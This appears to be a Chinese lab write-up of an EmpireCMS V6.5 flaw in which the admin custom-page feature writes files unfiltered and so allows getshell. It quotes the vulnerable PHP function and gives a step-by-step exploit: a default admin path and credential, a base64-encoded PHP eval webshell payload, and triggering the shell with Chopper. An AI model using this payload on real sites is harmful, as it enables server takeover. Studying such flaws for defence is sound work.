漏洞描述
Empirecms V6.5後臺自定義頁面處通過任意文件寫入可getshell
①任意文件寫入漏洞的原理通過提交數據,可以將任意的文件寫入到網站中。
②攻擊者在獲取到後臺權限後,進行添加頁面,添加成php頁面,並且內容爲一個PHP一句話木馬,即可獲得shell權限,威脅網站安全。
漏洞分析
//後臺自定義斜頁面寫入文件的方法
WriteFiletext($path,$pagetext);
...
function WriteFiletext($filepath,$string)
{
global $public_r;
$string=stripSlashes($string);
$fp=@fopen($filepath,"w");
@fputs($fp,$string);
@fclose($fp);
if(empty($public_r[filechmod])){
@chmod($filepath,0777);
}
}
上面的代碼中可以看出變量$pagetext
經過函數WriteFiletext
寫入到了文件中,在寫入的過程中沒有進行嚴格的過濾就進行寫入操作,導致可以任意文件寫入,從而導致可以產生惡意的php頁面,使得攻擊者可以很簡單的獲取到shell權限。
漏洞利用
通過帝國cms默認後臺路徑找到後臺登陸地址後臺地址(http://ip/e/admin/
,可爆破出用戶admin,密碼admin123)
登錄後臺頁面如下圖
點擊模塊管理,然後點擊自定義頁面,再點擊增加自定義頁面,最後在頁面名稱和文件名處輸入內容(如:123.php)頁面內容輸入:<script language="php">echo base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=");</script>
,然後點擊提交。如下圖:
在hackbar加載http://ip/e/admin/123.php,在post_data數據區輸入cmd=phpinfo();
,點擊execute觸發漏洞,結果如圖:
①查看phpinfo
②菜刀連上
GOT IT!
很簡單的一次實驗,主要是培養鞏固思路
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~